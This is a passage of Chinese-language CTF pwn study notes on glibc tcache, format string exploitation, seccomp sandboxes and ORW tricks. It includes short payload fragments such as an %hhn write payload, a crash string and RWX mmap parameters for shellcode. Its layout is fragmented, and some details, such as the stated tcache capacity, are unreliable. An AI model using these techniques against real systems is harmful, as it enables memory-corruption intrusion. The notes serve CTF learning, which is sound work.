:指向相应bin中的堆块,类似于fastbin的单链表结构,通过next
指针串联。
- tache_entry:用于管理TCache中的堆块链表。
TCache操作
- tcache_put:当调用
free
函数时,内部会调用tcache_put
函数将free掉的堆块放进Tcachebins中。- 刚释放的堆块不会立即进入fastbin或unsorted bin,而是先进入Tcachebins。
- 当Tcachebins存满8个堆块时,才会将这些堆块转移到其他bins中。
- tcache_get:当调用
malloc
函数时,内部会调用tcache_get
函数将malloc的堆块从Tcachebin取出。- 如果 Tcachebin 为空,系统会从 Fastbin/Smallbin 中取堆块,并按其分配顺序加入Tcachebin,直到Tcachebin满或链表空。
安全风险
- 堆溢出漏洞:TCache机制可能增加堆溢出漏洞的利用难度,因为堆块优先进入Tcachebins,减少了直接操作全局堆的机会。
- 内存管理复杂性:TCache的引入增加了内存管理的复杂性,可能导致潜在的安全漏洞。 ### 总结 TCache机制通过线程局部缓存和内存池管理,显著提高了多线程程序的内存分配效率。然而,它也带来了新的安全挑战,特别是在堆溢出漏洞的利用和防御方面。理解TCache的工作原理和数据结构,对于分析和利用堆溢出漏洞至关重要。
漏洞
格式化字符串漏洞
开启FORITIFY保护,将printf更换成printf_chk函数,%n$p需要连续使用,通常使用%a来泄露数据
- %d:以十进制整数形式输出整数。
-
%f:以浮点数形式输出实数。
-
%c:输出字符。
-
%s:输出字符串。
-
%x或%X:以十六进制形式输出整数。
-
%n:到目前为止所写的字符数
需要注意64位传参
常见格式化字符串函数
做题步骤
将断点下在printf处
反编译main函数
确定canary偏移地址
用x命令查看canary地址的值
继续使用x命令查看栈空间(x/50xg $rsp)
计算与输入之间的偏移,加上6个寄存器,减去一个输出位(+6-1),64位情况
作用
- 使程序崩溃
- 查看栈内容
- 查看任意地址的内存
- 任意地址写
%n ,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。
除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。
%n$d 取指定位置参数
字节写入
pl=b"/bin/sh #"+b"%87c%13$hhn"
- n: 写入 4 字节(32位)
-
hn: 写入 2 字节(16位)
-
hhn: 写入 1 字节(8位)
泄露栈数据
%p 和 %s
通常使用函数的got表地址配合%n$p来泄露真实地址(未开pie)
可以使程序崩溃的格式字符串:
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%%s");
覆盖栈内存
利用%n,覆盖偏移
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
快捷指令
fmtstr_payload(offset, {target_addr: new_value}, numbwritten=0, write_size='byte')
通过格式化字符串覆盖函数功能
Stack Smash
值得注意的是,Stack Smash在libc2.23后就不可利用了。
地址映射
p & __libc_argv[0] //找到argv[0]
沙箱逃逸
seccomp-tools dump ./pwn
一般这种ORW题目给出的溢出大小不够我们写入很长的ROP链的,因此会提供mmap()函数,从而给出一段在栈上的内存
使用mmap申请适合4byte的寄存器的地址
void *mmap{
void *addr; //映射区首地址,传NULL
size_t length; //映射区大小
//会自动调为4k的整数倍
//不能为0
//一般文件多大,length就指定多大
int prot; //映射区权限
//PROT_READ 映射区必须要有读权限
//PROT_WRITE
//PROT_READ | PROT_WRITE
int flags; //标志位参数
//MAP_SHARED 修改内存数据会同步到磁盘
//MAP_PRIVATE 修改内存数据不会同步到磁盘
int fd; //要映射文件所对应的文件描述符
off_t offset; //映射文件的偏移量,从文件哪个位置开始
//映射的时候文件指针的偏移量
//必须是4k的整数倍
//一般设为0
}
mmap 函数参数说明:
addr = 0 x 1000 # 要申请的内存地址,建议使用四位地址
length = 0 x 1000 # 申请内存的长度,建议一页大小 (4 KB)
prot = 7 # 内存权限:读 (4) + 写 (2) + 执行 (1) = 7
flags = 0 x 22 # MAP_PRIVATE (0 x 02) | MAP_ANONYMOUS (0 x 20)
fd = 0 xFFFFFFFF # 文件描述符,-1 表示匿名映射
offset = 0 # 映射偏移量,匿名映射时设为 0
注意事项:
- prot=7 表示内存页可读可写可执行
- flags=0 x 22 创建私有的匿名映射
- fd=-1 配合 MAP_ANONYMOUS 使用
- 这组参数常用于分配可执行内存空间
沙箱保护
沙箱保护是对程序加入一些保护,最常见的是禁用一些系统调用,如execve,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过ROP的方式调用open, read, write的来读取并打印flag 内容
开启沙盒的两种方式
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
prctl()函数调用
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
seccomp()函数调用
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load->将当前seccomp过滤器加载到内核中
if ( seccomp_load(v1) < 0 )
{
// seccomp_release->释放seccomp过滤器状态
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
做题技巧类型
给了多余指令
linux可以直接识别sh
直接取sh地址
特殊获取shell方法
$0:24 30 获取shell
strlen绕过
'\0'用来strlen函数绕过
截断操作
通常用于阶段后续输入,\0进行阶段
Comments NOTHING